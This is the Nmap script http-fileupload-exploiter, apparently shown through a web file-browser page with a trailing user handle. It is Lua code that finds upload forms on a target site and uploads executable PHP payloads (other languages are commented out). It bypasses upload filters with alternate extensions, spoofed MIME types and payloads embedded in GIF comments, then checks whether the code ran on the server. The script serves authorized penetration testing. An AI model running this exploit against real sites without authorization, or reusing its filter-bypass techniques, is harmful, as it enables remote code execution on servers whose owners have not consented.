| Path : /usr/share/nmap/scripts/ |
|
|
| Current File : //usr/share/nmap/scripts/http-fileupload-exploiter.nse |
description = [[
Exploits insecure file upload forms in web applications
using various techniques like changing the Content-type
header or creating valid image files containing the
payload in the comment.
]]
---
-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
--
-- This script discovers the upload form on the target's page and
-- attempts to exploit it using 3 different methods:
--
-- 1) At first, it tries to upload payloads with different insecure
-- extensions. This will work against a weak blacklist used by a file
-- name extension verifier.
--
-- 2) If (1) doesn't work, it will try to upload the same payloads
-- this time with different Content-type headers, like "image/gif"
-- instead of the "text/plain". This will trick any mechanisms that
-- check the MIME type.
--
-- 3) If (2), doesn't work, it will create some proper GIF images
-- that contain the payloads in the comment. The interpreter will
-- see the executable inside some binary garbage. This will bypass
-- any check of the actual content of the uploaded file.
--
-- TODO:
-- * Use the vulns library to report.
--
-- @args http-fileupload-exploiter.formpaths The pages that contain
-- the forms to exploit. For example, {/upload.php, /login.php}.
-- Default: nil (crawler mode on)
-- @args http-fileupload-exploiter.uploadspaths Directories with
-- the uploaded files. For example, {/avatars, /photos}. Default:
-- {'/uploads', '/upload', '/file', '/files', '/downloads'}
-- @args http-fileupload-exploiter.fieldvalues The script will try to
-- fill every field found in the upload form but that may fail
-- due to fields' restrictions. You can manually fill those
-- fields using this table. For example, {gender = "male", email
-- = "foo@bar.com"}. Default: {}
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | Testing page /post.html
-- |
-- | Succesfully uploaded and executed payloads:
-- | Filename: 1.php, MIME: text/plain
-- |_ Filename: 1.php3, MIME: text/plain
---
categories = {"intrusive", "exploit", "vuln"}
author = "George Chatzisofroniou"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
local http = require "http"
local string = require "string"
local httpspider = require "httpspider"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
-- A list of payloads. The interpreted code in the 'content' variable should
-- output the result in the 'check' variable.
--
-- You can manually add / remove your own payloads but make sure you
-- don't mess up, otherwise the script may succeed when it actually
-- hasn't.
--
-- Note, that more payloads will slow down your scan significaly.
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
}
listofrequests = {}
-- Escape for jsp and asp payloads.
local escape = function(s)
return (s:gsub('%%', '%%%%'))
end
-- Represents an upload-request.
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
local request = {
host = host;
port = port;
submission = submission;
mime = mime;
name = name;
filename = filename;
partofrequest = partofrequest;
payload = payload;
check = check;
uploadedpaths = {};
success = 0;
make = function(self)
options = { header={} }
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
return response.body
end;
checkPayload = function(self, uploadspaths)
for _, uploadpath in ipairs(uploadspaths) do
response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
if response.status ~= 404 then
if (response.body:match(self.check)) then
self.success = 1
table.insert(self.uploadedpaths, uploadpath)
end
end
end
end;
}
table.insert(listofrequests, request)
return request
end
-- Create customized requests for all of our payloads.
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
for i, p in ipairs(payloads) do
if image then
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
end
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
end
end
-- Make the requests that we previously created with buildRequests()
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local makeAndCheckRequests = function(uploadspaths)
local exit = 0
local output = {"Succesfully uploaded and executed payloads: "}
for i=1, #listofrequests, 1 do
listofrequests[i]:make()
listofrequests[i]:checkPayload(uploadspaths)
if (listofrequests[i].success == 1) then
exit = 1
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
end
end
end
if exit == 1 then
return output
end
listofrequests = {}
end
local prepareRequest = function(fields, fieldvalues)
local filefield = 0
local req = ""
local value
for _, field in ipairs(fields) do
if field["type"] == "file" then
filefield = field
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
if fieldvalues[field["name"]] ~= nil then
value = fieldvalues[field["name"]]
else
value = "SampleData0"
end
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
end
end
return req, filefield
end
action = function(host, port)
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
local returntable = {}
local result
local foundform = 0
local foundfield = 0
local fail = 0
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
local index, k, target, response
while (true) do
if formpaths then
k, target = next(formpaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
foundform = 1
partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
if filefield ~= 0 then
foundfield = 1
-- Method (1).
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (2).
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (3).
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
local image = inp:read("*all")
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
else
fail = 1
end
end
else
table.insert(returntable, {"Couldn't find a file-type field."})
end
end
end
if fail == 1 then
table.insert(returntable, {"Failed to upload and execute a payload."})
end
if (index) then
index = index + 1
else
index = 1
end
end
return returntable
end
@KyuuKazami